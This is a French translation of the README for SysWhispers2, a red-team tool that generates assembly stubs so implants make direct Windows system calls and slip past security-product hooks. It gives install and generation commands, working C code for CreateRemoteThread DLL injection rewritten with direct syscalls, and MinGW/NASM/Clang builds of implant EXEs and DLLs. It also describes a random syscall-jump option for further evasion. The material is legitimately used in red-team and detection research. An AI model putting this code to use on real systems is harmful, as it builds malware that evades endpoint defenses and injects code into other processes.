SysWhispers2

SysWhispers aide à l'évasion en générant des fichiers d'en-tête/ASM que les implants peuvent utiliser pour effectuer des appels système directs.

Tous les appels système principaux sont pris en charge et des exemples de fichiers générés sont disponibles dans le dossier example-output/.

Différence entre SysWhispers 1 et 2

L'utilisation est presque identique à SysWhispers1 mais vous n'avez pas à spécifier quelles versions de Windows prendre en charge. La plupart des changements sont sous le capot. Il ne repose plus sur les tables d'appels système de @j00ru, mais utilise la technique de "tri par adresse d'appel système" popularisée par @modexpblog. Cela réduit considérablement la taille des stubs d'appels système.

L'implémentation spécifique dans SysWhispers2 est une variante du code de @modexpblog. Une différence est que les hachages des noms de fonctions sont randomisés à chaque génération. @ElephantSe4l, qui avait publié cette technique plus tôt, a une autre implémentation basée en C++17 qui vaut également le coup d'œil.

Le dépôt original de SysWhispers est toujours en ligne mais pourrait être déprécié à l'avenir.

Introduction

Divers produits de sécurité placent des hooks dans les fonctions API en mode utilisateur qui leur permettent de rediriger le flux d'exécution vers leurs moteurs et de détecter des comportements suspects. Les fonctions dans ntdll.dll qui effectuent les appels système ne consistent qu'en quelques instructions assembleur, donc les réimplémenter dans votre propre implant peut contourner le déclenchement de ces hooks de produits de sécurité. Cette technique a été popularisée par @Cn33liz et son article de blog contient plus de détails techniques qui valent la peine d'être lus.

SysWhispers offre aux red teamers la capacité de générer des paires d'en-tête/ASM pour n'importe quel appel système dans l'image du noyau principal (ntoskrnl.exe). Les en-têtes incluront également les définitions de types nécessaires.

Installation

> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help

Utilisation et exemples

Lignes de commande

# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all

# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common

# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem

Sortie du script

PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common

python syswhispers.py -p all -a all -l all -o example-output/Syscalls

                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021

SysWhispers2 : Pourquoi appeler le noyau quand on peut murmurer ?

Toutes les fonctions sélectionnées.

Terminé ! Fichiers écrits dans :
        example-output/Syscalls.h
        example-output/Syscalls.c
        example-output/SyscallsStubs.std.x86.asm
        example-output/SyscallsStubs.rnd.x86.asm
        example-output/SyscallsStubs.std.x86.nasm
        example-output/SyscallsStubs.rnd.x86.nasm
        example-output/SyscallsStubs.std.x86.s
        example-output/SyscallsStubs.rnd.x86.s
        example-output/SyscallsInline.std.x86.h
        example-output/SyscallsInline.rnd.x86.h
        example-output/SyscallsStubs.std.x64.asm
        example-output/SyscallsStubs.rnd.x64.asm
        example-output/SyscallsStubs.std.x64.nasm
        example-output/SyscallsStubs.rnd.x64.nasm
        example-output/SyscallsStubs.std.x64.s
        example-output/SyscallsStubs.rnd.x64.s
        example-output/SyscallsInline.std.x64.h
        example-output/SyscallsInline.rnd.x64.h

Exemple avant-après de l'injection DLL classique CreateRemoteThread

py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls

#include <Windows.h>

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
    CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}

#include <Windows.h>
#include "syscalls.h" // Import the generated header.

void InjectDll(const HANDLE hProcess, const char* dllPath)
{
    HANDLE hThread = NULL;
    LPVOID lpAllocationStart = nullptr;
    SIZE_T szAllocationSize = strlen(dllPath);
    LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
	
    NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}

Fonctions communes

Utiliser l'option --preset common créera une paire d'en-tête/ASM avec les fonctions suivantes :

Importation dans Visual Studio

1. Copiez les fichiers H/C/ASM générés dans le dossier du projet.
2. Dans Visual Studio, allez dans Project → Build Customizations... et activez MASM.
3. Dans l'Explorateur de solutions, ajoutez les fichiers .h et .c/.asm au projet respectivement comme fichiers d'en-tête et sources.
4. Accédez aux propriétés du fichier ASM x86.
5. Sélectionnez All Configurations dans le menu déroulant Configurations.
6. Sélectionnez Win32 dans le menu déroulant Platform.
7. Définissez les options suivantes :
   • Excluded From Build = No
   • Content = Yes
   • Item Type = Microsoft Macro Assembler
8. Cliquez sur Apply
9. Sélectionnez x64 dans le menu déroulant Platform.
10. Définissez les options suivantes :
    • Excluded From Build = Yes
    • Content = Yes
    • Item Type = Microsoft Macro Assembler
11. Cliquez sur Apply, puis OK.
12. Accédez aux propriétés du fichier ASM x64.
13. Sélectionnez All Configurations dans le menu déroulant Configurations.
14. Sélectionnez Win32 dans le menu déroulant Platform.
15. Définissez les options suivantes :
    • Excluded From Build = Yes
    • Content = Yes
    • Item Type = Microsoft Macro Assembler
16. Cliquez sur Apply
17. Sélectionnez x64 dans le menu déroulant Platform.
18. Définissez les options suivantes :
    • Excluded From Build = No
    • Content = Yes
    • Item Type = Microsoft Macro Assembler
19. Cliquez sur Apply, puis OK.

Compilation avec MinGW et NASM

Les exemples suivants montrent comment compiler les programmes d'exemple ci-dessus en EXE et DLL en utilisant MinGW et l'assembleur NASM :

Exemple d'EXE x86

i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe

Exemple de DLL x86 avec exports

i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll

Exemple d'EXE x64

x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe

Exemple de DLL x64 avec exports

x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll

Compilation avec MingGW et GNU Assembler (GAS)

Exemple d'EXE x86

i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe

Exemple de DLL x86 avec exports

i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll

Exemple d'EXE x64

x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe

Exemple de DLL x64 avec exports

x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll

Utilisation avec LLVM/Clang

SysWhispers2 produit un fichier .s compatible clang qui contient les stubs ASM. Cela peut être utilisé avec llvm pour compiler votre code. Par exemple, en utilisant l'exemple d'injection DLL CreateRemoteThread ci-dessus :

clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe

En-tête inline uniquement

L'option de sortie inlinegas générera une version sans fichier d'en-tête de Syswhispers2 qui peut être utilisée avec la compilation des BOFs. Incluez simplement l'en-tête dans votre projet.

Sauts d'appels système aléatoires

En utilisant la routine de saut d'appel système aléatoire, il est possible d'éviter la "marque de l'appel système". Le stub d'assembly appelle une nouvelle fonction SW__GetRandomSyscallAddress qui recherche et sélectionne une instruction d'appel système propre dans ntdll.dll à utiliser. Ce faisant, il est possible d'éviter également le déclenchement d'instructions sycall en mode utilisateur.

Pour utiliser les sauts d'appel système aléatoires, vous devrez définir RANDSYSCALL lors de la compilation de votre programme et utiliser la version rnd de la sortie de SysWhispers2. Les exemples suivants montrent l'utilisation des stubs GNU Assembler.

Exemple d'EXE x86 - Utilisation de sauts d'appels système aléatoires

i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe

Exemple d'EXE x64 - Utilisation de sauts d'appels système aléatoires

x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe

Mises en garde et limitations

• Les appels système du sous-système graphique (win32k.sys) ne sont pas pris en charge.
• Testé sur Visual Studio 2019 (v142) avec le SDK Windows 10.

Dépannage

• Erreurs de redéfinition de type : un projet peut ne pas compiler si les typedefs dans syscalls.h ont déjà été définis.
  • Assurez-vous que seules les fonctions requises sont incluses (c'est-à-dire que --preset all est rarement nécessaire).
  • Si un typedef est déjà défini dans un autre en-tête utilisé, il pourrait être retiré de syscalls.h.

Crédits

Développé par @Jackson_T et @modexpblog, mais s'appuie sur le travail de nombreux autres :

• @FoxHex0ne pour avoir catalogué de nombreux prototypes de fonctions et typedefs dans un format lisible par machine.
• @PetrBenes, l'équipe NTInternals.net et MSDN pour des prototypes et typedefs supplémentaires.
• @Cn33liz pour l'implémentation initiale de la POC Dumpert.

Articles et projets connexes

• @modexpblog : Contournement des hooks en mode utilisateur et invocation directe des appels système pour les red teams
• @hodg87 : Atténuation des malwares lorsque des appels système directs sont utilisés
• @Cn33liz : Combinaison d'appels système directs et de sRDI pour contourner AV/EDR (Code)
• @0x00dtm : Surveillance des API en mode utilisateur et détection d'injection de code
• @0x00dtm : Vaincre les hooks en mode utilisateur (avec Bitdefender) (Code)
• @mrgretzky : Vaincre la protection antivirus en temps réel de l'intérieur
• @SpecialHoang : Contournement de la protection mémoire d'EDR, introduction au hooking (Code)
• @xpn et @domchell : Silencing Cylance : Une étude de cas sur les EDR modernes
• @mrjefftang : ()

Références à SysWhispers

• @JFaust_ : Injection de processus Partie 1, Partie 2 et projet Alaris loader (Code)
• @0xPat : Développement de malware Partie 2
• @brsn76945860 : Implémentation d'appels système dans le CobaltStrike Artifact Kit
• @Cn33liz et @_DaWouw : Appels système directs dans les Beacon Object Files (Code)

Licence

Ce projet est sous licence Apache License 2.0.